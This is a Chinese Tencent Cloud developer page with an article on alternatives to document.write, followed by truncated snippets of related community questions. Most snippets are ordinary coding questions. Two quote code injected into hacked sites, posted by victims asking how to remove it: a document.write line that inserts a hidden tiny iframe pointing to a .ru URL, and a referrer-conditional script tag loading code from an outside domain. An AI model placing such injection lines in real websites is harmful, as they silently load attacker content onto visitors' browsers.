摆脱document.write？
摆脱document.write是指在前端开发中不再使用document.write方法来动态生成页面内容。这是因为document.write方法会直接将内容写入到HTML文档中，如果在页面加载完成后再使用该方法，会导致页面被覆盖或重写，从而引发各种问题。
为了摆脱document.write，可以采用以下替代方案：
- 使用DOM操作：通过JavaScript中的DOM操作方法，如createElement、appendChild等，动态创建和添加元素到页面中。这样可以更灵活地控制页面结构和内容。
- 使用innerHTML属性：通过设置元素的innerHTML属性，可以直接将HTML代码作为字符串插入到指定元素中。这种方式比document.write更简洁方便，但需要注意安全性问题，避免XSS攻击。
- 使用模板引擎：使用模板引擎库，如Handlebars、Mustache等，可以将数据和模板进行绑定，生成动态的HTML内容。这种方式更加灵活和可维护，适用于复杂的页面结构和数据渲染。
- 使用前端框架：使用流行的前端框架，如React、Vue.js、Angular等，这些框架提供了更高级的组件化和数据驱动的开发模式，可以更好地管理页面内容和状态。
摆脱document.write的好处包括：
- 提高代码可维护性：使用替代方案可以更清晰地分离HTML和JavaScript代码，提高代码的可读性和可维护性。
- 改善页面加载性能：避免在页面加载完成后再使用document.write，可以减少页面重绘和重新渲染的次数，提高页面加载性能。
- 增强代码安全性：使用DOM操作或模板引擎等方式可以更好地控制插入的内容，避免XSS攻击等安全问题。
- 适应响应式设计：使用替代方案可以更好地适应不同设备和屏幕尺寸的响应式设计需求，提供更好的用户体验。
对于前端开发者，建议学习和掌握以上替代方案，并根据具体需求选择合适的方法来摆脱document.write。在腾讯云的产品中，可以使用云函数SCF（Serverless Cloud Function）来实现前端与后端的交互，具体介绍和使用方法可以参考腾讯云SCF产品介绍页面：https://cloud.tencent.com/product/scf
相关·内容
我正在为class做一个简单的赋值，并试图只使用Javascript创建一个表。我完美地设置了我的表，只是每隔一行显示一个随机数，然后跳到下一行。我怎样才能摆脱随机行？
var table = ["Name", "Turn Average", "Surface Area", "100% Boosting"];
var names = ["Octane", "Dominus", "Breakout", "X-Devil", "Batmobile"]
浏览 0提问于2018-04-12得票数 2
3回答
当我尝试在网页的Javascript部分使用像document.write()这样的语句和对象标记参数时，Mozilla Firefox似乎在页面边缘放置了额外的空格，而其他浏览器的行为正常。造成这种差异的原因是什么？我怎样才能摆脱这些边缘空间？
注意：(我正在尝试在web应用程序中加载一个applet。)
浏览 2提问于2010-12-24得票数 1
回答已采纳
3回答
cat file.txt
[...]
<td><script> document.write('89.223.92.30')</script></td>
<td><script> document.write('9027')</script></td>
<t
浏览 0提问于2020-01-05得票数 3
回答已采纳
我有一个日期列表，我需要在计数中检查重复的日期和重复日期的出现，我需要在javascript中实现...试着帮我摆脱困境，提前谢谢。EX: { 12/11/2011, 12/11/2011, 11/4/2012, 12/6/2012, 12/6/2012, 12/6/2012} Desire output: {12/11/2011, 11/4/2012, 12/6/2012} count: 12/11/2011 =2 count: 12/6/2012 =3
浏览 2提问于2012-07-02得票数 0
回答已采纳
请快速浏览一下此
我收到以下错误消息，因为读取'parsers.json‘需要时间。现在我的问题是，有没有办法摆脱这个恼人的错误消息？
Line: 46
Character: 3
Code: 0 Error
Message: 'readyState' is null or not an object
URL: http://tdsoft.se/failed.html
浏览 0提问于2011-06-28得票数 0
回答已采纳
1回答
我们的广告提供商没有异步代码，运行多个广告单元会导致页面加载速度慢于访问者。我不认为我能摆脱iframe，但我想让这个异步。
如何将这个广告代码单元更改为使用ASYNC并且是异步的？
<script type="text/javascript">
atOptions = {
'key' : 'Ress2mvPP9MeVFjJL5gi',
'format' : 'iframe',
'height' : 250,
'width' : 300,
浏览 1提问于2022-06-18得票数 0
我试图编写一个JS代码，它可以将一个句子分割成一个元素数组，但是没有所有的特殊字符(如逗号、点、感叹号和问号等)。但是，当我试图显示所有元素的列表时，会出现空行。我怎么才能摆脱它？
这是我的密码：
function Splitter() {
var sentence = "Here is a sentence, with commas and with other characters, such as dots. And numbers 123 45 6!?";
var chars = [' ', '\\\+', '
浏览 1提问于2018-11-21得票数 0
回答已采纳
我在我的网站上做了一个‘Pinging’扫描，注意到这个小脚本正在减缓我的站点速度。
<script type="text/javascript">
if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>
浏览 0提问于2015-04-14得票数 0
回答已采纳
我需要使用html javascript创建一个表格，该表格具有与用户输入相同的单元格数量。
基本上，在开始时，提示用户输入一个数字，然后创建一个表格，该表格的单元格数量等于用户输入的数量。列数应该是10。棘手的部分是获取行数。例如，如果用户输入30，则该表有10列和3行。问题来了，如果数字不是10的倍数，例如，如果用户输入32，使用我创建的代码，我仍然只能得到10列3行，也就是30个单元格。
此外，我还需要对单元格进行编号。
有人能帮我摆脱这个烂摊子吗？
<html>
<head>
<style>
table{wid
浏览 0提问于2021-09-04得票数 0
我可以像这样使用正则表达式和javascript从url中获取查询字符串:但我需要摆脱这些%22...these不会在IE中显示，只是在FF..How中我可以这样做吗？我需要没有%22的k=..but之后的所有内容..
<script type="text/javascript">document.write('<div class="DynamicSearchTitle">
Showing All Results For ' +
location.href.match(/\&k\=(.+)/)[1]+ &#
浏览 1提问于2012-02-27得票数 1
回答已采纳
1回答
我被黑客入侵了，我有成百上千个.js文件，其中包含我想要摆脱的这行代码：
;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>');
这是文件的最后一行，但我认为该文件包含window
浏览 0提问于2012-11-11得票数 1
回答已采纳
1回答
我有一些javascript嵌入到html文件中，如下所示
<html>
<head>
<script>
// and the script runs here
</script>
</head>
<body></body>
</html>
它有这样一条线
if((os == 'Mac')&&((br == 'Safari')||(br == 'Chrome'
浏览 2提问于2010-02-20得票数 2
回答已采纳
1回答
我目前正在摆弄一些广告网络的代码，我已经完成了主要的PHP后端，但我正在努力为广告/图像/swf的实际服务。
我试过使用document.write，但这似乎摆脱了整个身体，这是意料之中的。然而，看一下其他广告网络代码，似乎有一些使用了这一点。
我已经尝试创建了一个元素；
var element = document.createElement('div');
element.innerHTML = '<a href="'+url+'"><img src="'+path+'">
浏览 0提问于2012-06-25得票数 0
回答已采纳
我正在寻找一种好的技术来摆脱我想做的事情:设置一个全局变量。
当有人第一次通过点击按钮来运行一个函数时，它会触发一个初始函数，将一些东西变成可拖动的东西。稍后，如果他们再次单击该按钮，我想确定init函数是否已初始化，如果已初始化，则不再调用它。我可以很容易地从init函数中设置一个全局变量，然后从单击函数中检查该变量，但我想知道如何在不设置全局变量的情况下做到这一点。我真的想要一个这样做的例子。
浏览 0提问于2012-07-03得票数 25
回答已采纳
我不知道如何删除iframe中的html包装器。
一个例子：
var content = '<html><body>A page</body></html>';
$('iframe').contents().find('html').html(content);
即使在开发工具中它看起来不像它，上面现在有2个html标记。
var html = $('iframe').contents().find('html html').height();
当我使用上面这些时，我
浏览 2提问于2016-06-02得票数 2
回答已采纳
2回答
Index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
<script type="text/javascript">
var path = '/Scripts/';
document.write('<base href="' + path + '"/>');
浏览 0提问于2018-08-15得票数 0
1回答
为什么不调用这个函数？
、、、、
我试图将我的脚本和样式从标记中分离出来，但我似乎无法摆脱onclick属性。从我在Google和StackOverflow上所做的所有搜索来看，这个脚本应该能工作。如何使onclick事件与标记完全分离？
<!DOCTYPE html>
<html>
<head>
<script>
document.getElementById('guest_button').onclick = function () {
document.write('You\'re a guest!');
}
</scr
浏览 1提问于2014-12-11得票数 0
回答已采纳
我有一个div嵌套在一些flexboxes中的几层，它会根据文本的长度动态地改变宽度。
是否有可能让包含的flexboxes也改变宽度，并根据需要完全使用CSS进行包装？如果没有，我对任何JavaScript解决方案都持开放态度。
以下是我所说的更好的想法的视觉效果：
如果有人想要使用它，这里有一个代码片段：
.flex-container {
display: flex;
flex-wrap: wrap;
}
.flex-item {
flex: 1 auto;
border: 1px solid black;
margin: 5px;
}
.root
浏览 0提问于2018-07-02得票数 2
4回答
我有两个对象列表，我想在没有file键的情况下过滤file：
我所做的：
array1 = array1.filter(function(n) {
for(var i=0; i < array2.length; i++){
if(n.file != array2[i].file){
return n;
}
}
});
这正好返回了array1，而如果我用==替换!=，它会返回我想要摆脱的对象。
我不明白为什么。
最后，我想以这个数组结束：
[
{
"file": "tttt.csv"
浏览 3提问于2016-04-27得票数 8
回答已采纳
下面的javascript代码是由Partnernetwork提供的，它在eBay文件中工作得很好，但是当我尝试在echo()脚本中使用它时，它不能被正确解析。
代码如下：
<script type='text/javascript' src='http://adn.ebay.com/files/js/min/jquery-1.6.2-min.js'></script>
<script type='text/javascript' src='http://adn.ebay.com/files/js/min
浏览 0提问于2013-03-24得票数 0
回答已采纳
我正在用一本书学习javascript，这里有一个练习:计算从0到10的数字的正方形和立方体，并在html表中显示值。它们应该像这样显示：
我的代码是：
<head>
<script type="text/javascript">
<!--
var square;
var cube;
document.write("<table border='0'>");
for (var number = 0; number <=10; number +=1){
square = number*num
浏览 8提问于2015-11-30得票数 0
回答已采纳
我想用"preg_replace“去掉一些html/js标签。这是我的html标签：
<style type=text/css>' );document.write( '@media Print' );document.write( '{' );document.write( 'BODY {' );document.write( 'DISPLAY: none; print: none' );document.write( '}' );document.write( 'TABLE
浏览 1提问于2017-12-07得票数 0
我正在使用.NET 3.5中的WebClient类下载文件。我希望确保在服务器端，所请求的文件看起来像是通过IE客户端下载的。我到底要改变什么？
是否只需将IE生成的header信息复制到WebClient对象的Header属性中？还有什么我需要做的吗？
谢谢
浏览 1提问于2009-05-04得票数 0
回答已采纳
1回答
我无法将数组矩阵放到一个HTML表中。由于某种原因，矩阵的表和值是三倍的，我现在不知道为什么。
输出：
Sub writeTable(arrData)
Dim intCount
For intCount = LBound(arrData) To UBound(arrData)
document.write "<!DOCTYPE html>"
document.write "<html>"
document.write "<head>"
浏览 0提问于2019-05-13得票数 0
回答已采纳
1回答
我在页面加载之前使用了一个脚本，用doucment.write在我的页面中写入了一些html，现在它像疯了一样被缓存起来，只有硬刷新才能更新它。
现在，在大家说“天哪，不要使用DOCUMNNT.WRIT”之前，我会摆脱它，但现在我需要一个快速的解决方案。
那么，有没有一种方法可以强制这个脚本在每次页面更改时进行更新(请注意，每次页面在多个页面上更改时都会调用它)
代码是动态生成的，但通常情况下：
HTML：
<script type="text/javascript" src="NAV.js"></script>
生成的代码：
d = n
浏览 0提问于2010-07-22得票数 0
回答已采纳
当您在Wagtail管理器的富文本编辑器中输入文本而没有任何样式(例如粗体、ul、斜体)时，该文本(在发布时)显示为“涂层”或嵌入到<p>标记中。文本还保存在数据库中，其中包含文本内容周围的<p>标记。
但是，我想访问文本，而不需要使用<p>标记。请问我怎么做？从我所做的研究中可以很清楚地看出，wagtail已经将这种行为确定为默认行为，而且出于明显的通用用例原因，如果没有边界<p>标记也可以访问文本，那就太好了。
我想访问模板中的内容，以便可以从前端查看它。拥有一个<p>标记对我的CSS有很大的伤害，而反对wagtail的默认设计就
浏览 8提问于2020-10-14得票数 3
回答已采纳
我有这样的代码：
<script id="templates/orderdetails.html" type="text/ng-template">
<ion-view view-title="OrderDetails">
<ion-content class="padding">
<p>Here I want to display order details...</p>
{{ detail
浏览 6提问于2015-08-28得票数 1
回答已采纳
我注意到，角中的模块被具有相同定义的函数包装：
(function(window, angular, undefined){
.....
})(window, window.angular);
即使他们也不使用它。例如，角cookie有，但从来不使用窗口。为什么会这样呢？我理解它们的闭包原则，从全局范围中删除变量，但这并不能解释所有的原因。
谢谢，弗拉德
浏览 2提问于2016-01-13得票数 3
回答已采纳
我想从HTML代码中检索一些信息。让我们考虑以下几点：
<ul class="article-additional-info">
<li><strong>Issue Year:</strong> 2011</li>
<li><strong>Issue No:</strong> 1 (200)</li>
<li><strong>Page Range:</strong> 65-80</li>
<li
浏览 3提问于2016-05-19得票数 0
回答已采纳
var ticketType;
ticketType = prompt("What sort of tickets would you like");
document.write("Ticket Type Cost is: " + ticketType);
document.write("<br/>");
if (ticketType == "A") {
document.write("$100");
}
else if (ticketType == "a") {
docume
浏览 1提问于2017-03-24得票数 0
回答已采纳
谁能告诉我如何/是否可以在我的ASP.NET/或javascript中获得客户端计算机标识符？(客户端位于网络中，而不是本地Intranet中)
(什么是客户端计算机识别符？我认为例如:客户端计算机MAC地址，或任何硬件GUID (如CPU、网卡等) ?)
或者在HTML5中有没有简化的方法呢？
或者我是否可以通过ActiveX获得客户端计算机识别器？(如果activeX可以使用C#构建，那么我如何使用ActiveX，任何人都可以给我一些参考。)
(这是一个业务系统，客户被允许获取其客户端计算机硬件标识符，那么如何在asp.net中执行此操作？)
浏览 0提问于2012-04-18得票数 2
var x = 65;
do {
if (x >= 75) {
// The line while be printer even
// if the condition is false
document.write("<tr><td>");
document.write(x);
document.write("</td>");
document.write("<td>");
document.write("FAILED
浏览 2提问于2022-04-11得票数 0
1回答
在移动网页上有一个页面范围的图像(width=100%) .当加载页面时，图像下面的项目会在其上方的项目之后立即显示，就好像图像不存在一样--直到图像被加载--然后它们被移到它们的正常位置。我能摆脱那种闪光灯吗？
问题是不同的移动设备有不同的屏幕宽度，因此不可能预先设置图像高度。图像的高宽比是已知的，但这似乎没有帮助。
要澄清的是，我的代码是：
<meta name="viewport" content="width=device-width, initial-scale=1.0, scrollbar=no"/>
...
<div class=
浏览 4提问于2015-06-02得票数 1
回答已采纳
我尝试以(YYYY-MM-DDTHH:MM:SS)格式将时间戳的时间增加1小时。在时间22:00:00之前，这个方法工作得很好。但是，当输入时间为23:00:00时，时间组件会正确地更改为00:00:00，但是相应的日期会递增到一个月以上(跳过一个完整的月)。例如。2020-07-31T23:00:00更改为2020-09-01T00:00:00。这方面的任何帮助都是非常感谢的。 var sdate = '2020-07-31T23:00:00';
var temp1 = sdate.split('T');
document.write(temp1);
浏览 53提问于2020-07-02得票数 1
有人能帮我在这段代码中输入一个javascript延迟吗？我想让这段代码在2秒后打开。当你打开url时。站点的其余部分加载正常。
<script type="text/javascript">
var avail=$z:value[article.availableinstock];
if ($z:value[article.availableinstock] < 1)
{
document.write('<div class="shop_not">');
document.write("In order
浏览 0提问于2012-10-12得票数 0
正如您所看到的，我需要显示代码，就像我在代码中显示的一样。我想在代码中画出这幅画。但断线不起作用。输出是在一行中显示所有的东西。
console.log(document.write(' ******\n'))
console.log(document.write(' ****\n'))
console.log(document.write(' **\n'))
console.log(document.write(' ****\n'))
console.log(document.write(' ***
浏览 1提问于2019-04-29得票数 0
回答已采纳
我试图使XML文件中的url以可点击的超链接形式显示在HTML页面上，而不是仅仅将url显示为文本。
这是如何做到的呢？我很确定我所做的并不遥远.
代码如下所示：
XML
<linkedin>
<discussion>
<topic>This is the discussion name</topic>
<content>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce ligula mi, convallis eget iaculis id,
浏览 4提问于2012-01-20得票数 0
回答已采纳
2回答
我正在尝试让一些javascript与activex控件对话。当这种方法起作用，并且JS可以获得控件状态时，我会收到一条特定的消息。如果不是，我会收到一条错误消息。
在IE7/8中，系统会提示你接受activex控件(通过警告栏)，但在IE6中，js无法获取控件的状态。
我还尝试使用document.write从外部文件创建控件，以便页面加载后即可运行。该控件是不可见的，所以我不能仅仅通过查看页面来判断它是否正在加载。
如果你能帮忙我会很感激的。
浏览 6提问于2009-03-12得票数 1
回答已采纳
1回答
我使用XML文件作为html页面的布局，并使用javascript加载它们，如下所示：
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("GET","default.xml",false);
xmlhttp.send();
xmlDoc=xmlhttp.responseXML;
如何在两个或更多的布局之间切换
浏览 2提问于2013-02-28得票数 0
回答已采纳
4回答
我想把我的结果写成这样：
但我得到的是这样的：
这是我的密码。正确的方法是什么？
<script>
var myObj, x= "", y="";
myObj={
"Movie": ["Deadpool", "Xmen", "Hunger Games", "RoboCop", "LOTR", "Starwar"],
"Rating": [ 8, 6, 7,
浏览 9提问于2017-03-10得票数 0
回答已采纳
我正在尝试通过javascript读取xml文件并将其显示在HTML页面中。
我正在使用下面的代码。
function readxml() {
alert("calledreadxml");
var myXML, studentnode;
myXML= document.all("config.xml").XMLDocumentalert(myXML);
studentnode = myXML.documentElement
var string;
var nxtnode;
while(nxtnode)
{
string = "the v
浏览 0提问于2012-08-31得票数 0
这是我的demo.jsp page.for --这是我在单行中得到的结果，但我需要打印每行5个表，第二行中剩下的5个乘法表，在哪里可以更改代码以获得预期的结果。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>JavaScript Tables</title>
<script>
fun
浏览 3提问于2014-05-29得票数 2
回答已采纳
我有一个JavaScript赋值，该赋值的一部分是具有嵌入了JavaScript的两列表，该表循环遍历摄氏和华氏度的50个温度。
我检查了W3的HTML验证器，它告诉我到目前为止我有两个错误……我似乎永远不能摆脱的一个问题是“元素脚本在这个上下文中不允许作为元素tbody的子元素”。
这是我的代码：
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<style type="text/css">
body { background-image:url(&#
浏览 7提问于2012-09-05得票数 2
回答已采纳
我被困在代码中间，需要帮助。我正在使用jsp创建一个web应用程序。下面是我的代码：
<%@include file="dbconnection.jsp"%>
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<H1></H1>
<script language="JavaScript">
function showdata(ctr) {
switch (ctr) {
cas
浏览 0提问于2015-03-05得票数 0
以下是XML文件的代码：
<?xml version="1.0"?>
<catalog>
<book id="bk101">
<author>Gambardella, Matthew</author>
<title>XML Developer's Guide</title>
<genre>Computer</genre>
<price>44.95</price>
浏览 0提问于2012-10-11得票数 0
回答已采纳
除了使用mustache.js的最后一次迭代之外，我如何在每次迭代后输出<hr>。我尝试了javascript for循环，但我无法摆脱上一个<hr>。(有些人建议使用handlebars.js，但我更喜欢使用mustache。)
这是我的json (随着员工的增加，这个列表会变得更大)
{
employees: [
{firstName: "John", lastName: "Smith"},
{firstName: "John", lastName: "Doe
浏览 1提问于2012-02-01得票数 8
回答已采纳
我正在将XML Node值检索到HTML页面中。在我的一个节点中有一条路径，我想在它周围放置一个链接。链接是(“TagName”)我需要添加要超链接的TagName“链接”的值。我试着用
这是怎么做的？
if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
}
else {// c
浏览 0提问于2012-09-22得票数 0
我有一个类似的对象，但更复杂：
var obj =
{
a: foo,
b: bar,
sub:{
a: foz
}
}
然后我有一个基于键和值的条件，例如：
{
a: ^f,
sub:{
a: z$
}
}
是否有方法检查所有对象属性的条件都是真的。我也对只使用chome的功能或类似下划线之类的东西也很满意。我也可以重新构造我的条件词的结构。
浏览 1提问于2014-12-26得票数 1
回答已采纳
1回答
我一直在努力弄清楚如何正确地执行这个操作，我确信我是个白痴(这里刚开始编写代码)。我有一个xml文件(如下所示)，我正在解析并试图根据节点"testset“为每个数据集构建多个表。xml文件不会改变它的设计方式，但是会随着有多少“测试集”而增长。下面有密码。
目前，我已经进行了测试并通过了测试，显示了我需要的两个数组，但是我无法弄清楚如何将每个数组的和分开(并期望在未来会有未知数量的数组)，然后我必须将它写到表中。下面的代码在通过的测试中将数组的两个部分相加在一起，我需要将它们分开。所以我希望数组设置为137，70。我感谢你的帮助或建议。
xml
<?xml version=&#
浏览 0提问于2015-04-24得票数 0
回答已采纳
我已经将xml文件转换为HTML表。我使用的函数如下：
document.write("<table><tr><td>ALPHA</td><td>BRAVO</td><td>CHARLIE</td><td>DELTA</td><td>
ECHO</td><td>FOXTROT</td><td>GOLF</td><td>HOTEL</td></tr>");
浏览 2提问于2015-07-25得票数 0
扫码
添加站长 进交流群
领取专属 10元无门槛券
手把手带您无忧上云
相关资讯
热门标签
云服务器
ICP备案
对象存储
实时音视频
云直播活动推荐
腾讯云开发者
